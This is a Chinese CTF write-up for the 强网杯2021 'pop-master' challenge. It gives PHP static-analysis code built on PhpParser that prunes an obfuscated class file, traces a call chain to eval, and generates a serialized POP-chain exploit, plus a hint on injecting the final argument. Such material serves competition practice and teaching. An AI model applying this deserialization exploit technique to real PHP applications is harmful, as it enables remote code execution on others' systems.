[PHP知识库]强网杯2021 pop-master

这个题目比较好的思路是写静态分析利用代码
当然这个题目可能混淆不是很多，所以利用起来稍微方便一点，可以参考如下代码
首先下载pop代码保存为class.php

保存下面php静态分析代码为filter.php.需要修改你本地的autoload.php位置和entryFunc的内容

<?php
ini_set('max_execution_time', '300');
require 'D:\phpstudy_pro\Extensions\php\php8.0.2nts\ext\vendor\autoload.php';

use PhpParser\Error; //use to catch error
use PhpParser\NodeDumper; //use to read node
use PhpParser\ParserFactory; //use to anlaysis code
use PhpParser\PrettyPrinter;

$entryFunc = 'EuHobE';
$inputPhpFile = 'class.php';
$outputPhpFile = 'class.php';

$code = file_get_contents($inputPhpFile);
echo "[+]get file done\n";

$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
    $stmts = $parser->parse($code);
} catch (Error $e) {
    echo "Parse error:{$e->getMessage()}\n";
    exit(0);
}
$deleteCnt = 0;
$deleteCla = 0;
$nodeDumper = new NodeDumper;

foreach ($stmts as $k => $class_point) {
    if ($class_point->gettype() === 'Stmt_Nop')
        continue;
    $flag = 0;
    foreach ($class_point->stmts as $kk => $subpoint) {
        if ($subpoint->gettype() !== 'Stmt_Property') {
            $flag = 1;
        }
        if ($subpoint->gettype() === 'Stmt_Nop')
            continue;
        //开始过滤class内部的方法
        if ($subpoint->gettype() === "Stmt_ClassMethod") {

            //首先，如果方法只出现了一次，说明只有定义没有调用，那么可以删掉,不过对于入口函数可能只有一个，所以不可以删掉
            if (substr_count($code, $subpoint->name->name) == 1 && $subpoint->name->name !== $entryFunc) {
                $deleteCnt++;
                unset($class_point->stmts[$kk]);
                continue;
            }
            //如果成员方法没有参数，那么无法利用
            if (!$subpoint->params) {
                $deleteCnt++;
                unset($class_point->stmts[$kk]);
                continue;
            }
            //获得这个函数的参数名字
            $parms = $subpoint->params[0]->var->name;
            foreach ($subpoint->stmts as $kkk => $method_point) {
                if ($method_point->gettype() === 'Stmt_Expression' && $method_point->expr->gettype() === 'Expr_Assign' && $method_point->expr->var->name === $parms) {
                    $deleteCnt++;
                    unset($class_point->stmts[$kk]);
                    continue;
                }
                if ($method_point->gettype() === 'Stmt_For') {
                    foreach ($method_point->stmts as $kkkk => $for_point) {
                        if ($for_point->gettype() === 'Stmt_Expression' && $for_point->expr->gettype() === 'Expr_Assign' && $for_point->expr->var->name === $parms) {
                            $deleteCnt++;
                            unset($class_point->stmts[$kk]);
                            continue;
                        }
                    }
                }
                if ($method_point->gettype() === 'Stmt_Expression' && $method_point->expr->gettype() === 'Expr_Eval') {
                    if (substr_count($code, $method_point->expr->expr->name) === 1) {
                        $deleteCnt++;
                        unset($class_point->stmts[$kk]);
                        continue;
                    }
                }
            }
        }
    }
    if ($flag == 0) {
        $deleteCla++;
        unset($stmts[$k]);
    }
}
echo '[+] filter done' . "\n";

// 输出
$prettyPrinter = new PrettyPrinter\Standard;
$afterFilter = $prettyPrinter->prettyPrintFile($stmts);
file_put_contents($outputPhpFile, $afterFilter);
echo '[+] total filter: ' . $deleteCnt . ' function' . "\n";
echo '[+] total filter: ' . $deleteCla . ' class' . "\n";

运行如下python代码将自动开始过滤

import os
number = 1
while number != 0:
    str = os.popen("php filter.php").read()
    print(str)
    str = str .split('\n')
    number = int(str[2].split(':')[1].split('function')[0]) + \
        int(str[3].split(':')[1].split('class')[0])

可能会报错，不要管他

直到如下

现在还有大概这么多代码，下面开始分析利用链

这道题因为只有一个eval,每个 class只有一个属性，稍微简单了一点
exp.php

<?php
require 'D:\phpstudy_pro\Extensions\php\php8.0.2nts\ext\vendor\autoload.php';

use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
use PhpParser\PrettyPrinter;

$entrFunc = 'paWQm5';
$input_file = 'class.php';

$code = file_get_contents($input_file);
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);


function modify($fun_name)
{
    global $parser;
    global $code;
    $stmts = $parser->parse($code);
    global $entrFunc;
    foreach ($stmts as $k => $class_point) {
        foreach ($class_point->stmts as $kk => $class_member) {
            if ($class_member->gettype() === 'Stmt_ClassMethod') {
                foreach ($class_member->stmts as $kkk => $method_member) {
                    if ($method_member->gettype() === 'Stmt_Expression') {
                        if ($fun_name === 'eval') {
                            if ($method_member->expr->gettype() === 'Expr_Eval') {
                                modify($class_member->name->name);
                                echo "->" . $class_point->name->name;
                            }
                        } else if (@$method_member->expr->name->name === $fun_name) {
                            if ($class_member->name->name !== $entrFunc) {
                                modify($class_member->name->name);
                                echo "->" . $class_point->name->name;
                            } else {
                                echo $class_point->name->name;
                                return 0;
                            }
                        }
                    }
                }
            }
        }
    }
}
$class_name = [];
$shuxing_name = [];
$func_name = [];
$diaoyong_func = [];
$stmts = $parser->parse($code);
foreach ($stmts as $k => $class_point) {
    if ($class_point->gettype() === 'Stmt_Class') {
        $class_name[$k] = $class_point->name->name;
        $func = [];
        $shuxing = [];
        $diaoyong_zong = [];
        foreach ($class_point->stmts as $kk => $class_member) {
            if ($class_member->gettype() === 'Stmt_Property') {
                array_push($shuxing, $class_member->props[0]->name->name);
            } else if ($class_member->gettype() === 'Stmt_ClassMethod') {
                array_push($func, $class_member->name->name);
                $diaoyong = [];
                foreach ($class_member->stmts as $kkk => $method_member) {
                    if ($method_member->gettype() === 'Stmt_If') {
                        foreach ($method_member->stmts as $kkkk => $if_member) {
                            if ($if_member->gettype() === 'Stmt_Expression') {
                                if ($if_member->expr->gettype() === 'Expr_MethodCall') {
                                    array_push($diaoyong, $if_member->expr->name->name);
                                }
                            }
                        }
                    } else if ($method_member->gettype() === 'Stmt_Expression') {
                        if ($method_member->expr->gettype() === 'Expr_Eval') {
                            array_push($diaoyong, 'eval');
                        } else if ($method_member->expr->gettype() === 'Expr_MethodCall') {
                            array_push($diaoyong, $method_member->expr->name->name);
                        }
                    }
                }
                $diaoyong_zong[$class_member->name->name] = $diaoyong;
            }
        }
        $func_name[$k] = $func;
        $shuxing_name[$k] = $shuxing;
        $diaoyong_func[$k] = $diaoyong_zong;
    }
}

$diaoyong_lian = [];
$diaoyong_funcs = [];
function digui($func)
{
    global $entrFunc;
    global $class_name;
    global $diaoyong_funcs;
    global $diaoyong_lian;
    global $diaoyong_func;
    if ($func === $entrFunc) {
        return 0;
    } else {
        foreach ($diaoyong_func as $k => $diaoyong) {
            foreach ($diaoyong as $kk => $ziiaoyong) {
                if (in_array($func, $ziiaoyong)) {
                    array_unshift($diaoyong_lian, $k);
                    array_unshift($diaoyong_funcs, $kk);
                    digui($kk);
                }
            }
        }
    }
}
digui('eval');


$left = '$A';
$all = "<?php\nrequire_once('class.php');\n";
foreach ($diaoyong_lian as $k => $value) {
    $right = "=new $class_name[$value]();\n";
    $all .= $left . $right;
    $left .= '->' . $shuxing_name[$k][0];
}

$all .= 'echo serialize($A);';
file_put_contents('5.php', $all);

运行会生成5.php
即我们的pop链

接下来直接开打就好，注意argv后面加个//因为拼接的时候有多余的字符